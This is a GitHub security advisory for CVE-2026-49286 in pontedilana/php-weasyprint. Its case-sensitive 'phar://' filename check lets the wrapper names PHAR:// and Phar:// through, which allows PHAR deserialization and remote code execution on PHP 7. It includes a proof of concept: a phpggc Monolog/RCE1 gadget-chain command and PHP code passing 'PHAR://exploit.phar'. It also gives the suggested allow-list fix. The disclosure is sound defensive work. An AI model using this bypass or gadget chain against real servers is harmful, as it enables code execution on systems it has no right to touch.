GHSA-2FMJ-P74R-3WJM
Vulnerability from github – Published: 2026-06-26 22:10 – Updated: 2026-06-26 22:10Summary
pontedilana/php-weasyprint guarded the output filename against the phar:// stream wrapper with a case-sensitive blacklist:
if (0 === \strpos($filename, 'phar://')) {
throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}
PHP stream wrappers are case-insensitive, so PHAR://, Phar://, etc. bypass the check and reach fileExists() (file_exists()) in prepareOutput(). On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115.
The same issue and fix were handled upstream in KnpLabs/snappy (GHSA-92rv-4j2h-8mjj).
Affected versions
pontedilana/php-weasyprint versions <= 2.5.1 (the case-sensitive guard was introduced in commit eb8accc, "Implement countermeasures for CVE-2023-28115").
Patched in: 2.6.0.
Privilege required
A caller able to control the output filename passed to generate() / generateFromHtml(), plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP < 8.
Vulnerable code
src/AbstractGenerator.php, prepareOutput():
if (0 === \strpos($filename, 'phar://')) {
throw new \InvalidArgumentException('The output file cannot be a phar archive.');
}
strpos($filename, 'phar://') matches only the exact lowercase string, while the wrapper resolution is case-insensitive — PHAR://payload.phar is not caught.
Proof of concept
# Craft a PHAR with a fast-destruct gadget chain
phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar
<?php
use Pontedilana\PhpWeasyPrint\Pdf;
$pdf = new Pdf('/usr/local/bin/weasyprint');
// Case-altered wrapper bypasses the lowercase 'phar://' blacklist
$pdf->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar');
// On PHP < 8, the PHAR metadata is deserialized -> /tmp/exploit is created
Impact
- Remote code execution and filesystem access through PHAR metadata deserialization on PHP < 8, when the output filename is attacker-influenced and a PHAR can be planted.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) — Critical in deployments running PHP 7 with an upload surface; adjust to your environment.
CWE-502 (Deserialization of Untrusted Data).
Suggested fix
Replace the case-sensitive blacklist with a scheme allow-list (file / no scheme), comparing the lowercased scheme parsed from the filename:
protected const ALLOWED_PROTOCOLS = ['file'];
protected function isProtocolAllowed(string $filename): bool
{
if (false === $parsed = \parse_url($filename)) {
throw new \InvalidArgumentException('The filename is not valid.');
}
$protocol = isset($parsed['scheme']) ? \strtolower($parsed['scheme']) : 'file';
// ...special-case Windows drive letters (C:\...) as 'file'...
return \in_array($protocol, self::ALLOWED_PROTOCOLS, true);
}
prepareOutput() then rejects any non-file scheme (phar, PHAR, php, http, ...) before file_exists() is reached.
Credit
Original vulnerability and patch-bypass reported upstream to KnpLabs/snappy by Rémi Matasse of Synacktiv (GHSA-92rv-4j2h-8mjj); identified as applicable to pontedilana/php-weasyprint, which mirrors the same code.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.5.1"
},
"package": {
"ecosystem": "Packagist",
"name": "pontedilana/php-weasyprint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49286"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T22:10:00Z",
"nvd_published_at": "2026-06-19T18:16:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\n`pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist:\n\n```php\nif (0 === \\strpos($filename, \u0027phar://\u0027)) {\n throw new \\InvalidArgumentException(\u0027The output file cannot be a phar archive.\u0027);\n}\n```\n\nPHP stream wrappers are **case-insensitive**, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports \u2014 PHP 7.4+), this triggers deserialization of a crafted PHAR archive\u0027s metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115.\n\nThe same issue and fix were handled upstream in KnpLabs/snappy ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)).\n\n### Affected versions\n\n`pontedilana/php-weasyprint` versions `\u003c= 2.5.1` (the case-sensitive guard was introduced in commit `eb8accc`, \"Implement countermeasures for CVE-2023-28115\").\n\nPatched in: `2.6.0`.\n\n### Privilege required\n\nA caller able to control the output filename passed to `generate()` / `generateFromHtml()`, plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP \u003c 8.\n\n### Vulnerable code\n\n`src/AbstractGenerator.php`, `prepareOutput()`:\n\n```php\nif (0 === \\strpos($filename, \u0027phar://\u0027)) {\n throw new \\InvalidArgumentException(\u0027The output file cannot be a phar archive.\u0027);\n}\n```\n\n`strpos($filename, \u0027phar://\u0027)` matches only the exact lowercase string, while the wrapper resolution is case-insensitive \u2014 `PHAR://payload.phar` is not caught.\n\n### Proof of concept\n\n```bash\n# Craft a PHAR with a fast-destruct gadget chain\nphpggc -f Monolog/RCE1 exec \u0027touch /tmp/exploit\u0027 -p phar -o exploit.phar\n```\n\n```php\n\u003c?php\nuse Pontedilana\\PhpWeasyPrint\\Pdf;\n\n$pdf = new Pdf(\u0027/usr/local/bin/weasyprint\u0027);\n// Case-altered wrapper bypasses the lowercase \u0027phar://\u0027 blacklist\n$pdf-\u003egenerateFromHtml(\u0027\u003ch1\u003ePOC\u003c/h1\u003e\u0027, \u0027PHAR://exploit.phar\u0027);\n// On PHP \u003c 8, the PHAR metadata is deserialized -\u003e /tmp/exploit is created\n```\n\n### Impact\n\n- Remote code execution and filesystem access through PHAR metadata deserialization on PHP \u003c 8, when the output filename is attacker-influenced and a PHAR can be planted.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) \u2014 Critical in deployments running PHP 7 with an upload surface; adjust to your environment.\n\nCWE-502 (Deserialization of Untrusted Data).\n\n### Suggested fix\n\nReplace the case-sensitive blacklist with a scheme allow-list (`file` / no scheme), comparing the lowercased scheme parsed from the filename:\n\n```php\nprotected const ALLOWED_PROTOCOLS = [\u0027file\u0027];\n\nprotected function isProtocolAllowed(string $filename): bool\n{\n if (false === $parsed = \\parse_url($filename)) {\n throw new \\InvalidArgumentException(\u0027The filename is not valid.\u0027);\n }\n $protocol = isset($parsed[\u0027scheme\u0027]) ? \\strtolower($parsed[\u0027scheme\u0027]) : \u0027file\u0027;\n // ...special-case Windows drive letters (C:\\...) as \u0027file\u0027...\n return \\in_array($protocol, self::ALLOWED_PROTOCOLS, true);\n}\n```\n\n`prepareOutput()` then rejects any non-`file` scheme (`phar`, `PHAR`, `php`, `http`, ...) before `file_exists()` is reached.\n\n### Credit\n\nOriginal vulnerability and patch-bypass reported upstream to KnpLabs/snappy by R\u00e9mi Matasse of Synacktiv ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)); identified as applicable to `pontedilana/php-weasyprint`, which mirrors the same code.",
"id": "GHSA-2fmj-p74r-3wjm",
"modified": "2026-06-26T22:10:00Z",
"published": "2026-06-26T22:10:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj"
},
{
"type": "WEB",
"url": "https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-2fmj-p74r-3wjm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49286"
},
{
"type": "WEB",
"url": "https://github.com/pontedilana/php-weasyprint/commit/d1aa487722b5a3cab9b222b85fdb5608a5a550c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/pontedilana/php-weasyprint"
},
{
"type": "WEB",
"url": "https://github.com/pontedilana/php-weasyprint/releases/tag/2.6.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PhpWeasyPrint vulnerable to PHAR deserialization via output filename (CVE-2023-28115 case-insensitive bypass)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.